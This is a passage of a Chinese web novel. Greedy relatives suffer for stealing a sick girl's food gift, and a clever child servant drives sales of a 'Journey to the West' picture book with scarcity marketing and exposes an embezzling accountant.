王氏得意地扬了扬下巴,压低了声音。“是陈平川送来的,说是给平玉那死丫头补身子。” 她嘴角撇了撇,“哼,现在归我们了!” 陈仲武搓着手,也跟着嘿嘿直笑:“快打开看看,是什么山珍海味。” 他们一家平时可吃不到什么好东西,都让大房一家和陈老太爷两口子吃了。 一家四口正要关起门来,准备大快朵颐,房门却“砰砰砰”地响了起来。 是大伯母刘氏的声音:“老三家的,快开门,我找你有事!” 王氏和陈仲武提着食盒,脸上是藏不住的窃喜。 他们一溜烟钻回自家三房,做贼似的将门从里面悄悄掩上,这才松了口气。 “爹,娘,好香啊!这啥好东西啊?” 陈平西的鼻子比狗还尖,早就闻见了从食盒缝隙里飘出来的香味,他一边吸溜着口水,一边伸长脖子,小眼睛一眨不眨地盯着那描金绘彩的食盒。 他姐姐陈平香也按捺不住好奇,默默凑了过来,眼神里满是好奇。 王氏得意地扬了扬下巴,眉飞色舞:“这是平川那小子从张府带回来的,说是给他那个病秧子妹妹补身子的。” 她嘴角不屑地撇了撇,声音里透着得意:“哼,那死丫头哪里配吃这么好的东西?现在啊,这好东西,自然是归咱们了!” 陈仲武搓着手,脸上堆满了贪婪的笑容:“快,快打开瞧瞧,张府送出来的,定是了不得的山珍海味。” 他们这一房,平日里连点荤腥都难得沾牙,好东西不是进了大房的肚子,就是孝敬了陈老太爷两口子,哪轮得到他们? 一家四口正围着食盒,摩拳擦掌,准备独享这天降的美食,房门却“砰砰砰”地被人拍得山响。 大伯母刘氏那特有的大嗓门响起来:“老三家的!开门!大白天的锁着门做什么呢?” 王氏心里猛地一咯噔,手忙脚乱地想把食盒往床底下塞。 “记得别说漏嘴!”陈仲武也急忙压低声音叮嘱两个孩子。 王氏勉强定了定神,走过去拉开门栓,刘氏像阵风似的直接闯了进来,一双三角眼四下里乱瞟:“老三家的,你们在屋里捣鼓啥呢?莫不是在做什么见不得人的勾当?” “没,没啊,大嫂你这是说的哪里话。”王氏扯出一个比哭还难看的笑容,心里把刘氏骂了个狗血淋头,只盼着这尊瘟神赶紧走。 刘氏像条狗一样,鼻子抽了抽,在屋里东嗅嗅西闻闻。 “我怎么闻着一股子香气呢?你们是不是偷偷藏了什么好吃的东西?” 王氏和陈仲武一听这话,顿时紧张得手心冒汗,脸色都有些发白,连连否认:“没有没有,大嫂你肯定是搞错了。” 偏偏陈平西这蠢小子不懂大人们的弯弯绕绕,他只惦记着食盒里的美味,哪里还管得了其他,当下便扯着嗓子嚷嚷起来:“娘!我肚子饿了!我要吃好吃的!快把那个盒子拿出来!” 王氏急得额头上汗都下来了,恨不得立刻捂住这小祖宗的嘴。她强笑道:“虎子乖,娘这就给你做饭去……” “不嘛!我不吃粗面饼子!我现在就要吃那个!”陈平西不依不饶,竟是一下子从床底下把那个描金食盒给拖了出来,举起来叫道:“我要吃这个!这里面有好吃的肉!” 王氏想拦也来不及了,她气得眼前发黑,差点一口气没上来,恨不得一巴掌拍死这个成事不足败事有余的蠢儿子,脸上却只能挤出尴尬至极的苦笑。 刘氏一双眼睛早就定在了那精致的食盒上,她三两步就跨了过来,一把抢过食盒,掀开盖子,只见里面摆着几样色泽诱人、香气扑鼻的糕点,还有两三样做得格外精致的小菜,顿时眉毛都竖了起来,声音也拔高了八度:“好啊!老三家的!我说怎么关着门呢,原来是得了这么好的东西,想背着我们吃独食啊!” 她嗓门本就洪亮,这么一嚷嚷,立刻惊动了陈老爷子两口。 陈老太太拄着拐杖,颤巍巍地从屋里走了出来,脸色阴沉。 “大清早的,吵吵嚷嚷干什么!”她凌厉的目光扫过王氏手里的食盒,眉头皱得更紧了,“老三家的,得了好东西,怎么就不晓得先孝敬长辈?眼里还有没有我们了?” 王氏心里把刘氏祖宗十八代都问候了一遍,面上却不敢有丝毫怠慢,赶紧堆起笑容,把陈平玉抬出来当挡箭牌:“娘,您老可真是误会了。这……这是平川那孩子方才从张府带回来的,说是张家那位心善的小少爷,特意赏给他妹妹平玉补身子的。媳妇这不正寻思着,等会儿就给平玉送过去呢,谁想大嫂就过来了。” 陈老太太不屑地从鼻子里“哼”了一声,拐杖往青石板上重重一顿:“平玉一个小丫头片子,又不是什么金枝玉叶!受了那么点伤,吃那么好的东西做什么?糟蹋东西!” 她转动手里的佛珠,道,“既然是张府的心意,那就拿到堂屋去,大家一起尝尝鲜也就是了。” 刘氏一听这话,脸上的褶子都笑开了花,连忙点头哈腰地附和:“娘说的是,娘说的是!都是一家人,有好东西自然要一起分享,平玉那丫头一个人也吃不了这么多。” 三房两口子也只得点头同意,只是,她们所有人心照不宣,谁也没去招呼二房过来一起吃。 于是乎,这份“来自张府小少爷的厚礼”,便在陈老太太的主持下,堂而皇之地被大房、三房以及老两口等人瓜分了。 至于真正需要补养的陈平玉,压根就没人再提起半个字。 堂屋里,几家人围坐在桌旁,食盒里的糕点小菜被一一取出,摆了满满一桌,那诱人的香气弥漫开来,馋得人直流口水。 “啧啧,瞧瞧这大户人家的东西就是不一样,光这卖相,这香味,就不是咱们乡下能比的!”大伯陈仲文捏起一块精致的糯米糕,先是放在鼻子底下闻了闻,才慢条斯理地放进嘴里,细细品尝,一副行家的派头。 王氏此刻也顾不上其他,急忙夹了一条鸡肉丝往嘴里送,吃得满脸陶醉,连连点头:“真香!我爹做生意那会,这种菜肴我总吃!” 陈平西仗着平日里受祖父母宠爱,更是毫无顾忌,左右开弓,小嘴塞得满满当当,满嘴流油。 “好吃!太好吃了!比菜糊糊好吃多了!”他含糊不清地嚷着,又伸手抢了一块肉饼。 刘氏瞪了陈平西一眼,阴阳怪气道:“虎子你慢点吃,没人跟你抢!小心噎死!” 她嘴上说着,自己把最后一块肉饼夹走,速度那是一点都不慢,生怕少吃了一口。 陈平娇和陈平香两个丫头,此刻也暂时忘记了对这个家的种种不好,只顾着埋头苦吃,脸上带着满足和贪婪。 一时间,堂屋里只剩下此起彼伏的咀嚼声、啧啧的赞叹声,还有碗筷碰撞的轻响,气氛竟是难得的“和睦”。 第52章 报应来了!陈家全家窜稀! 夜半三更,万籁俱寂。 陈家大宅里,突然响起一声凄厉的惨叫,划破了深夜的宁静。 “哎哟!我的肚子!疼死我了!娘啊!” 是陈平西的声音,尖锐刺耳。 他捂着圆滚滚的肚子,在床上翻来覆去地打滚,哭爹喊娘。 紧接着,像是起了连锁反应一般。 “啊!我的肚子也好疼啊!”陈平香也发出一声惨叫。 “不行了,不行了,我要上茅房!”另一边,陈平娇也抱着肚子,脸色惨白如纸,声音都变了调。 然后是王氏,她只觉得肚子里一阵翻江倒海,如同有无数把小刀子在里面乱搅,绞痛难忍,额头上瞬间就冒出了冷汗! 陈仲武、刘氏、陈仲文……一个接一个,全都捂着肚子,面色痛苦不堪,争先恐后地冲向院子里那个唯一的茅房。 就连年事已高的陈老太爷和陈老太太也未能幸免,在屋里唉唉哟哟地叫唤起来,声音虚弱。 平日里众人嫌恶臭的茅房,此刻却成了众人的香饽饽。 推搡声、哭喊声、急切的拍门声、还有那实在憋不住时发出的的声响,此起彼伏,在寂静的夜晚显得格外清晰。 有人实在憋不住了,也顾不上体面,直接就在院子角落或是自家屋檐下解决了…… 于是乎,整个陈家大院,一时间臭气熏天,哀嚎遍野,彻底没了往日的安宁。 二房的陈仲和与罗氏也被外面的动静给吵醒了。 罗氏带着几分惊疑:“当家的,你听听,这是咋了?外面怎么跟炸了锅似的?莫不是遭了贼?” 陈仲和竖着耳朵仔细听了半晌,也是一头雾水,他翻了个身,咕哝道:“不知道,听着……好像是闹肚子了?这大半夜的,一家子都闹肚子,莫不是吃了什么不干净的东西?” 陈平西因为年纪小,又贪吃,加上陈老太太偏心,给他加了不少菜,自然是吃得最多的那个,也成了泻得最惨的一个。 他那小小的身子骨,没折腾多久就虚脱了,小脸蜡黄如纸,嘴唇干裂发白,有气无力地躺在床上哼哼唧唧,眼看着就要进气少出气多了。 王氏吓得魂飞魄散,也顾不上自己腹中翻腾的剧痛,抱着宝贝儿子哭天抢地:“虎子啊!我的儿啊!你可千万不能有事啊!你要是有个三长两短,娘也不活了啊!” 陈老太太也被这阵仗吓怕了,她强撑着一口气,扶着墙壁,对着外面声嘶力竭地大喊:“老二!陈仲和!你个死人,还不快去镇上请大夫!要是我孙子有个好歹,我跟你没完!” 陈仲和被老娘点了名,不敢有丝毫耽搁,急忙披上衣服,摸黑匆匆出了门,往镇子方向跑去。 大夫被连夜从热被窝里拉了出来,一路被催着赶到陈家,还睡眼惺忪。 他给一个个面色如土、捂着肚子的陈家人挨个把了脉,又仔细看了看床上奄奄一息的陈平西,最后又在院子里闻了闻那冲天的臭气。 大夫开了几副止泻清肠的汤药,又仔细嘱咐了几句饮食禁忌,便提着药箱,捂着鼻子,头也不回地匆匆离去了,多待一刻,他都怕自己会被这院子里的味道给熏晕过去。 陈家人足足折腾了一整个晚上,个个都拉得腿脚发软,眼窝深陷,走路都打飘。 尤其是陈平西,灌了苦涩的汤药下去也不见有多大好转,依旧泻个不停,小脸蛋足足瘦了一大圈,眼眶都凹陷了下去。 他在床上足足躺了半个多月才勉强缓过劲来,整个人像是被抽空了筋骨,蔫头耷脑的,再也没了往日的嚣张气焰。 这些事情,自然都是罗氏后来讲给陈平川听的。 第53章 饥饿营销,全城疯抢! 张府下人一走,陈家人心里只有一个念头:张家少爷是故意来整他们的!上次差点把命都拉没了,这次还来?这是要赶尽杀绝啊! 陈老太太拄着拐杖,手抖得像秋风里的落叶,看那食盒的眼神,像是看什么洪水猛兽,心有余悸地连连摆手。 “快!快给老二家的送去!”她尖着嗓子催促王氏,声音都变了调,“这要命的玩意儿,咱们可不敢再沾了!让他们自己消受!” 于是,这份在村里人艳羡目光中的“厚礼”,被王氏和刘氏哆哆嗦嗦、原封不动地送到了二房家里。 她们放下东西,却没立刻走,而是躲在不远处的墙角后面,伸长了脖子,眼神里夹杂着幸灾乐祸,就盼着二房也吃坏肚子,看他们出个大洋相,好歹能找回点平衡。 屋里,罗氏和陈仲和对视一眼,心中早已了然。 罗氏坦然地走过去,大大方方地打开食盒。 刹那间,一股诱人气息,瞬间溢满了小屋。 当晚,二房的小桌上,摆满了平日里想都不敢想的美味。 陈平玉的小脸上洋溢着从未有过的开心,一双大眼睛亮晶晶的,小口小口地吃着香甜松软的桂花糕,又尝了尝从未见过的水晶肴肉,幸福得眯起了眼睛。 罗氏和陈仲和也品尝着从未吃过的美味菜肴,屋子里充满了久违的欢声笑语。 结果,一夜过去,二房安然无恙。 第二天一早,守了一夜等消息的大房和三房,只看到陈平玉红光满面地在院子里追着鸡仔玩耍,罗氏哼着小曲儿在浆洗衣裳,陈仲和也精神抖擞地扛着锄头准备下地。 他们百思不得其解,心中满是郁闷。 这到底是为什么?难道张府送来的东西还分人不成? 村里人的眼睛是雪亮的,看陈家大房和三房的眼神,也带上了几分戏谑和鄙夷,暗道这家人贪心不足,偷吃人家孩子的补品遭了报应,真是活该! 陈平川这一手釜底抽薪,不仅狠狠教训了贪婪的亲戚,还让陈家人在村里出了大丑,短时间内怕是抬不起头了。 与此同时,庐州府的集市上,如陈平川所预料,开始出现了假冒的“石头画”,不过画工粗劣,人物丑陋,买了的人大呼上当。 不过,这已经不是陈平川关心的事情了,他的连环画营销计划,已经开始了大刀阔斧的预热。 庐州府的街头巷尾,一夜之间冒出许多派发传单的伙计。那传单上面用朱砂印着几句似是而非、引人遐想的句子:“石猴出世惊天地,神书降临动乾坤!张府耗巨资倾力打造,旷世奇书,即将问世!奇闻异事,闻所未闻!” 百姓们好奇地拿着传单,三五成群地议论纷纷:“张府?他家不是做布匹染料生意的吗,怎么还出上书了?” 紧接着,庐州府最大的几家书坊门口,也都张贴起了一幅巨大的彩色画报。 画上,一只金睛怒目的猴子,身披锁子黄金甲,头戴凤翅紫金冠,手持一根金光闪闪的铁棒,脚踏七彩祥云,威风凛凛,眼神中满是桀骜不驯与睥睨天下的豪气。 那画风大胆夸张,线条简练却极富张力,色彩鲜亮夺目,视觉冲击力十足,与时下流行的温婉仕女图、意境悠远的山水画截然不同,自成一派。 路人纷纷驻足围观,惊叹声、议论声此起彼伏。 “乖乖,这画的是什么神仙?好生威武!瞧这眼神,活灵活现!” “从未见过这般画法,人物好似要从纸上跳出来一般,真是奇特!” “张府这是要搞什么名堂?看着倒是有趣。” 城里最热闹的几处瓦舍勾栏里,平日里价钱最高的说书先生也开了新篇。 他们不收钱,免费讲《西游记》的开篇“猴王出世”。从仙石迸裂到拜师学艺,从龙宫夺宝到搅乱蟠桃会,故事跌宕起伏,引人入胜。 每每讲到石猴拜师学艺习得七十二变、或是寻得如意金箍棒等精彩之处,先生便猛地一拍醒木,吊足了听众胃口,高声道:“欲知后事如何,且看张府即将推出的旷世奇书《西游记》!图文并茂,更胜口述百倍!” 听众们听得抓心挠肝,意犹未尽,胃口被吊到了极致,纷纷打探这《西游记》究竟何时面世。 张盛财更是亲自出马,带着张金宝和张静姝,频繁拜访庐州府的各大商贾权贵。 宴席上,张静姝和张金宝,从袖中摸出精美的画稿,对着县令之子、千户之女等人,得意地展示:“瞧,这是我爹爹请高人画的,叫《西游记》,讲的是一只猴子成仙,大闹天宫的故事,有趣极了!” 那些平日里眼高于顶的少爷小姐们,哪里见过这般新奇的东西,顿时被勾去了魂儿,围着张静姝叽叽喳喳问个不停,更有甚者,当场便缠着自家爹娘,哭着喊着也要买这《西游记》连环画。 就这样,不过十日,整个庐州府上至达官贵人、富商巨贾,下至平民百姓、贩夫走卒,几乎无人不知张府要推出一本叫《西游记》的奇书。 各大书坊的掌柜,更是天天被各府派来的家丁、管事堵门。 “掌柜的,《西游记》到底什么时候开卖?给个准信儿啊!” “我家少爷说了,不管多少钱,第一本必须给他留着!不然就拆了你的书铺!” “再不出来,我家小姐就要把房顶给掀了!” 书坊掌柜们一面赔笑安抚,一面暗自叫苦,只盼着这张府的《西游记》赶紧上市,好解了这燃眉之急。 千呼万唤,《西游记》连环画出售的日子到了。 天刚蒙蒙亮,几大书坊门前便已是人声鼎沸。 马车堵塞了街道,华服的家丁与焦急的富家子弟挤作一团,书坊一开门,无数只手高举着银票和铜钱,在半空中胡乱挥舞。 “给我来一本!不,两本!” “《西游记》!我要《西游记》画册!” “谁他娘的挤我!没看到这是钱府的马车吗?” 叫嚷声、推搡声、马匹的嘶鸣声混杂在一起,汇成一股热浪,几乎要将书坊的门板掀翻。 然而,这股狂热仅仅持续了一炷香的功夫。 各大书坊几乎在同一时间,由伙计慢悠悠地挂出了一块“售罄”的木牌。 掌柜们满脸堆着菊花似的笑容,站在门口团团作揖:“各位看官,各位老爷!实在对不住了!首批‘初版典藏’,已尽数售出!下次请早啊!” 第54章 典藏版!签名版!平川的套路深不见底! 人群先是一滞,随即爆发出山崩海啸般的失望与不满。 “什么?没了?” “我排了一夜的队,你告诉我没了?” “加印!立刻给老子加印!” 抢到画册的如获至宝,紧紧揣入怀中,脸上是藏不住的得意与炫耀,在众人艳羡的目光中奋力挤出人群。 未能如愿的则捶胸顿足,更有甚者不愿离去,将书坊门口围得水泄不通,高声叫骂,场面几近失控。 此刻,街角最豪华那间“醉仙楼”的二楼雅间内。 张盛财脸上蒙着布巾,只露出一双精明的小眼睛,做贼似的向外张望。 看到楼下那疯抢的场面,他激动得浑身肥肉乱颤。 一把扯下脸上的布巾,他扭头看向一旁悠然品茶的陈平川,声音都变了调:“平川!我的小财神爷!你看到了吗?这他娘的,简直比抢官府的银库还疯!” 他一巴掌拍在桌子上,茶杯都跳了起来:“咱们赶紧让那些画师日夜赶工,再印他个三千册!不,五千册!趁这股东风,把全庐州府的银子都搂进咱们怀里!” 陈平川慢悠悠地放下茶杯,嘴角勾起一抹淡笑:“老爷,心急吃不了热豆腐。” 张盛财一愣,胖脸上写满了不解:“啥意思?这送到嘴边的肥肉不吃,那不是傻子吗?” “这东西啊,越是难得,他们才越觉得珍贵。”陈平川一字一顿地解释着,“咱们得学那钓鱼的姜太公,愿者上钩,而且还得让他们抢着上钩。” 张盛财听得一头雾水:“你这小鬼头,又要卖什么关子?” 陈平川站起身,走到窗边,看着楼下依旧不肯散去的人群:“老爷,您看那些没买到的人,是不是比买到的人更着急?” “那可不,一个个跟疯了似的。”张盛财顺着他的目光往下看,“可这不正说明咱们该多印点吗?” “错了!”陈平川转过身,眼中闪着狡黠的光芒,“咱们对外就说,这第一批三百套,乃是''初版典藏'',每一本都有独一无二的编号,日后价值连城。” 张盛财眨巴着小眼睛,似懂非懂:“然后呢?” “这样一来,买到的人觉得有面子,没买到的人更会抓心挠肝。”陈平川回到座位上,端起茶杯抿了一口,“等他们饥渴到了极点,咱们再放出第二卷的消息。” 张盛财心里琢磨着,这小子的鬼点子一个比一个邪门,但偏偏每次都能成功。 “第二卷''大闹天宫''已经在紧张绘制中,但数量依旧有限。”陈平川继续说着,“想要确保能买到,需提前到指定书坊缴纳定金预购,而且预购名额也有上限。” “什么?还要限量?”张盛财急得直拍大腿,“哎哟喂!我的小祖宗!万一他们等不及,跑去买别家的玩意儿了,咱们不就亏大了?” 他仿佛已经看到无数银子长了翅膀,从眼前飞走。 陈平川老神在在地一笑:“老爷放心,如今庐州府上下,谁不知道《西游记》的精彩?咱们的画册是独一份的稀罕物,别说庐州府,就是整个大业朝,也找不出第二家。” “再说了,现在让他们求之不得,等下一卷出来,他们只会更疯狂。”陈平川顿了顿,“而且,预购金先收上来,那也是白花花的银子啊!” 张盛财听到这里,眼珠子都快掉出来了:“你的意思是,卖还没做出来的东西?” “正是!”陈平川拍了拍手,“这叫做''期货'',先收钱,后交货。既稳了客源,又早收了银子,何乐而不为?” 张盛财虽然还有些将信将疑,但最终还是选择了相信。 果不其然,接下来的几天里,整个庐州府都在议论着《西游记》画册的事。 “听说了吗?那画册是初版典藏,每本都有编号,将来能传家的!” “我表哥花了五两银子从别人手里买了一本,说是千金不换!” “黑市上已经炒到十两一本了,还有价无市!” 茶楼酒肆、街头巷尾,到处都是这样的议论声。 张静姝拿着编号为“壹”的画册,在闺蜜聚会上有意无意地展示着。 “静姝,你竟然有零号画册!?”赵婉儿眼巴巴地看着,“能让我看看吗?” “不行!这可是初版典藏第一号!你看坏了怎么办?”张静姝摇头拒绝,一脸臭屁。 “哇!真的是第一号诶!”几个小姐妹围过来,眼中满是艳羡,“静姝,你太厉害了!” 张静姝享受着众星捧月的感觉,心中对陈平川佩服得五体投地。 数日后,各大合作书坊的掌柜们纷纷登门拜访张盛财。 “张老板,您可真是神机妙算啊!”文渊阁的掌柜喜笑颜开,“第二卷的预购名额,在放出消息的当天就被抢订一空!” “我们这里也是!”另一家书坊的掌柜跟着说道,“收到的预售定金,比平时一个月的营业额还多!” 张盛财听着这些汇报,看着桌上堆积如山的银票,第一次觉得陈平川这“不着调”的卖货方式,似乎比他那布匹染坊来钱快得多。 他看向陈平川的眼神,越发像看一个会下金蛋的宝贝疙瘩。 “平川啊,你这小脑瓜子,到底是怎么长的?”张盛财感慨着,“这买卖做得,简直比抢钱还容易!” 陈平川谦虚地摆摆手:“都是老爷英明,小子不过是献献小计而已。” 心里却在想着,这才哪到哪啊,等连环画册的模式彻底成熟了,再推出其他故事的画册,那才是真正的印钞机呢。 “对了,平川。”张盛财突然想起什么,“下一卷什么时候能出来?那些人催得紧,我都快被烦死了。” 陈平川沉思片刻:“再过半个月吧,画师们正在加紧赶工。不过这次,咱们可以搞点新花样。” “什么新花样?”张盛财来了兴趣。 “签名版!”陈平川神秘一笑,“咱们可以请庐州府的几位名士,在画册上题字签名,这样一来,价值又能翻一番!” 张盛财拍案叫绝:“妙!太妙了!这样下去,咱们真的要发大财了!” 第55章 老爷糊涂了,让八岁孩子查账? 转眼一月过去。 《西游记》第一卷“美猴王出世”的销售余款,连同第二卷“大闹天宫”的部分预售定金,陆续汇总到了张府。 任管家将一本厚厚的账簿呈了上来。 “回老爷,扣除画师薪酬、笔墨纸张、书坊分成等所有开销,这个月画册的纯利,共计三百八十二两。” 张盛财一听这个数字,乐得一双小眼睛都眯成了一条缝,满脸的肥肉笑得直哆嗦。 他一把搂过旁边的陈平川,蒲扇般的大手在他瘦小的背上重重拍了几下。 “好小子!平川!你他娘的真是咱张家的小财神爷!这才一个月,比我那染布坊半年赚的都多!哈哈哈,往后咱们就指着这画册发财了!” 陈平川被他拍得龇牙咧嘴,骨头架子都快散了。 但他的注意力却全然不在背上的疼痛,而是紧紧盯着桌面那本账簿。 三百八十二两? 不对。 他那来自另一个世界的灵魂里,一个清晰的计算模型瞬间成型。 印量、单价、预售定金、各项成本……怎么算,都不该是这个数。 他小小的眉头拧了起来,稚嫩的脸上浮现出与年龄极不相称的严肃。 陈平川抬起头,向张盛财拱拱手。 “老爷,这账目……平川瞧着有些不对劲。” 他的声音不大,却像一盆冰水,瞬间浇灭了屋子里的火热气氛。 张盛财脸上的笑容瞬间凝固。 “不对?差多少?” “至少一百两!” 张盛财是个商人,对数字的敏感几乎是本能。尤其是一百两白花花的银子,那可是好几亩上等水田的巨款! 他“嚯”地一下站起身,肥胖的身躯带着一股压迫感。 “竟有此事?!” 他厉声咆哮,唾沫星子横飞。 “难道有人吃了熊心豹子胆,敢在老子的账上动手脚?!” 张盛财怒不可遏,转身冲着任管家吼道:“去!把府里管这账的三个账房,都给老子叫过来!我倒要看看,是谁敢把手伸进我的钱袋子里!” 按理来说,他不会相信一个八岁小书童的话。 可是,这个书童不简单,那是给他带来成百上千两白银的神童! 片刻之后,张府的三位账房先生鱼贯而入。 为首的是年过半百的李有才,他身材干瘦,眼神精明,手里时刻提着一串乌木算珠,老成持重。 中间的是年约四十的周账房,平日里少言寡语,看着老实巴交,此刻低着头,显得有些局促不安。 最后进来的是三十出头的钱三德,生得白净,脸上总是带着三分笑意,一派八面玲珑的模样。 张盛财将那本账簿“啪”一声狠狠摔在桌上,震得茶杯都跳了起来。 他目光如电,刀子一样从三人脸上一一刮过。 “这一个月《西游记》画册的账目,是你们三人分管的,有没有偷偷动手脚?给老子说实话!” 三人闻言,皆是心中一凛。 李有才率先躬身,不卑不亢地开了口:“回老爷,账目乃我等三人反复核对,绝无半点疏漏。每一笔进出都有票据可查,账目清晰,请老爷明鉴!” “是啊老爷,我等不敢有丝毫怠慢。”钱三德也连忙笑着附和。 周账房只是低着头,跟着小声念叨:“绝无差错,绝无差错……” 张盛财疑心重重,见问不出什么,当即命令任管家另找来府中几个略通算术的账房先生,将所有原始票据、入库单、销售记录、账本全部收缴,关起门来彻夜重新盘查。 一连查了两天两夜。 回报的结果却让张盛财的眉头拧成了一个疙瘩。 账面做得天衣无缝,滴水不漏,所有的数字完全对得上,根本看不出任何问题。 难道真是平川这小子搞错了? 可他回头看看陈平川那双笃定又平静的眼睛,又觉得事情没那么简单。 这一百两银子,说多不多,说少也不少。 若是真能被人这样神不知鬼不觉地吞了,那日后这画册生意做得再大,岂不都成了个无底洞,替别人养了家? 就在张盛财一筹莫展,烦躁地在屋里踱步时,一直沉默的陈平川上前一步。 “老爷,可否让平川也看看这些账本?” 张盛财一愣:“你?你会看算账?” 他本能地怀疑,毕竟,他手下的账房先生都查不出来,八岁的陈平川能查出来? 陈平川走到桌前,小手轻抚着那本厚重的账簿,说道:“老爷,平川对算数略知一二,想试试。” 张盛财盯着陈平川,将信将疑,最终还是重重一点头。 “好!死马当活马医!老子就让你试试!” 他一挥手,任管家立刻会意,叫来几个家丁。 《西游记》画册相关的所有账簿、票据……如小山般被尽数搬到了陈平川那间专属的小画室里。 消息传到三个账房先生耳朵里,三人对视一眼,李有才轻哼一声:“一个八岁的孩子,连字都认不全几个,也敢说查账?” 钱三德脸上挂着玩味的笑容:“这做账可不是过家家,里面的说道多着呢。” 周账房没说话,却在心里摇头:“老爷糊涂了……” …… 油灯被点亮了数盏,将小小的画室照得亮如白昼。 陈平川谢绝了旁人伺候,独自一人关上了门。 他没有像账房先生那样拨打算盘,也没有逐条逐项地去核对加减。 他只是坐在一堆账本票据中间,小小的身子几乎要被淹没。 他一本本地翻阅着,速度极快,手指在泛黄的纸页上划过,双眼似乎并非在阅读,而是在扫描。 所有的数据,采买的日期、经手的账房、支出的名目、入库的数量,都在他脑中飞速流转,自行勾稽、比对。 前世自学的基础会计课程,此刻化作了他异于常人的逻辑分析能力。 成本、周期、流程、经手人……一张无形的大网在他心中悄然织就。 夜色渐深,灯火摇曳。 终于,他的手指停在了钱三德负责的那本杂项账簿上。 一笔笔“材料采买”,一笔笔“意外损耗”,单看数额都不算惊人,但连在一起,却不合常理。 尤其是当他将这些记录与李有才、周账房的记录交叉比对时,那份不合常理的突兀感便更加明显。 一夜无眠。 第二天清晨,陈平川顶着一丝倦意,将自己的发现禀报了张盛财。 张盛财精神一振,二话不说,立刻再召三位账房于书房对质。 当陈平川指出钱三德账目中的疑点时,钱三德依旧是那副笑呵呵的模样,从容不迫地躬身辩解。 第56章 小书童智斗贪账房,张少爷被逼赶考场 “老爷您有所不知。这《西游记》画册乃是精细活,对纸张、墨色、颜料的要求极高,稍有差池便会报废,故而损耗较大,实属正常。” 他瞥了一眼身高还未及自己腰部的陈平川,语气里带着一丝轻蔑。 “老爷明鉴,这位小书童年纪尚幼,恐不谙财计之道,凭空臆测,不足为凭。我钱三德在张府多年,账目一向清清白白,可昭日月!” 陈平川也不废话,径直走到桌前,将几本账册摊开在钱三德面前。 他的小手指在上面笃笃地敲着,声音清脆。 “钱账房此言差矣!您这‘损耗’可真是奇特得很。” “李账房和周账房采买同样规格的纸墨,损耗率不足半成,为何到了您这里,就变成了三成?莫非这纸墨也认人,专挑您经手的时候‘娇贵’起来?” 钱三德脸上的笑容一僵。 陈平川的小嘴像连珠炮一样,又列举了数条“常规开支”。 “还有这画师的茶水点心费,为何您经手采办时,总比旁人贵上三成?难道您买的茶叶能让人下笔如有神?” “再看这装订运输的折损,为何李账房和周账房当值时,画册完好无损,偏偏轮到您当值的那几日,就总有‘意外’发生?您这运气,未免也太差了些。” 他每一条都说得条理清晰,数据精准,直指要害。 钱三德脸上的笑容渐渐挂不住了。 陈平川最后收回手指,抬起头,清澈的目光带着一股洞察一切的锐利,直视着他。 “综合来看,钱账房每月经手的杂项支出,比其他两位账房加起来还要多出一百多两。若非账目有误,便是有人中饱私囊!” 此言一出,满室俱静。 钱三德被一个小娃娃驳斥得哑口无言,额头上的冷汗涔涔而下,脸色由红转白,再由白转青。 张盛财在一旁看得分明,见钱三德眼神躲闪,支支吾吾,哪还不知真相! 他猛地一拍桌子,怒声咆哮! “好你个钱三德!吃里扒外的狗东西!老子平日待你不薄,你竟敢监守自盗,一年下来岂不是要吞我几百上千两!” 任管家立刻领会,一挥手,带着两个健壮的家丁直奔钱三德的住处。 不多时,任管家便提着一个布包回来,往地上一倒。 哗啦啦! 一堆散碎银子滚了出来,足有数十两。更扎眼的是几刀上好的宣纸、几锭徽墨,还有几包用油纸裹好的矿物颜料,正是府里采买给画师们用的上等货。 这些东西,拿出去也能换钱! 人赃并获,铁证如山。 张盛财气得七窍生烟,指着钱三德破口大骂。 “拖出去!给老子狠狠教训他!” 钱三德顿时瘫软在地,鬼哭狼嚎地求饶,却被家丁死死捂住嘴,拖了出去。 李有才和周账房早已吓得面如土色,跪在地上连连磕头,赌咒发誓自己账目清白。 张盛财余怒未消,借此机会厉声警告府中上下:“都给老子听清楚了!日后谁敢再贪墨舞弊,钱三德就是下场!” 院子里,家丁拳打脚踢,钱三德的惨叫令人头皮发麻! 陈平川站在廊下,看着那个被家丁像拖死狗一样拖出去的身影,目光平静无波。 这种小人,贪了那么多钱,张盛财打他一顿都算轻的! 扑通! 钱三德被扔在张府大门外的街上,遍体鳞伤,狼狈不堪。 他挣扎着抬起头,怨毒的目光死死盯着张府那扇朱漆大门,又仿佛穿透了高墙,看到了那个让他身败名裂的八岁小书童。 他从牙缝里挤出几个字。 “张盛财……陈平川……此仇不报……我钱三德……誓不为人!” …… 《西游记》画册的生意愈发红火,银子流水般淌进张府,张盛财那张胖脸笑得跟朵盛开的菊花似的。 眼看着一年一度的县试就要到了,他将注意力转到了自家那不成器的儿子身上。 “金宝!下个月就是县试了,你给老子好好准备!”张盛财唾沫横飞,“怎么着也得考个童生回来,给老子脸上争点光!” 张金宝闻言,小脸“唰”地一下白了,仿佛听到了晴天霹雳。 他耷拉着脑袋,整个人都蔫了,平日里的活泛劲儿消失得无影无踪。 “爹……我……我不是那块料啊……” “放屁!”张盛财眼睛一瞪,“老子花了这么多钱请方先生,又给你找了平川这么个聪明书童,你要是连个屁都考不出来,老子的钱不是白花了?” 接下来的几天,张金宝茶不思饭不想,走路都打晃。 他捂着肚子喊疼,又捶着脑袋说晕,躲在被窝里不肯出来,企图蒙混过关。 张盛财是什么人?精得跟猴儿似的,一眼就识破了儿子的鬼把戏。 当他提着戒尺掀开张金宝的被窝时,张金宝一个激灵,瞬间从床上弹了起来,动作比猴子还利索。 “爹!我好了!我这就去温书!” 看着儿子冲出房间,张盛财在后面低吼:“臭小子,再敢跟老子装病,仔细你的皮!” 陈平川在一旁看着,心中五味杂陈。 他做梦都想踏进那科举考场,用笔墨为自己博一个前程,可奴籍的身份像一座无法逾越的大山,将他死死压在山脚。 而张金宝,唾手可得的机会,却避之如蛇蝎。 真是天大的讽刺。 科举,科举!这两个字像一团火,在他心里越烧越旺。 必须尽快想办法赎身,摆脱这命运的枷锁! 就连方先生私下与友人饮茶时,也扼腕长叹。 “我那记名弟子陈平川,若能参考,必能一鸣惊人,可惜……屈居人下,实乃明珠蒙尘。” 方先生捋着胡须,连连摇头,“浪费了这块好材料!” 县试当日,天刚蒙蒙亮。 张盛财便亲自出马,像押解犯人似的,把张金宝塞进马车。 方先生和陈平川作为“陪考团”,自然也得随行。 张静姝在家里也闲不住,抱着张盛财的腿撒娇:“爹爹,我也要去!我也要去嘛!” 张盛财最是拗不过这个宝贝女儿,只得无奈应允:“去去去,我的小祖宗,可别给老子添乱!” 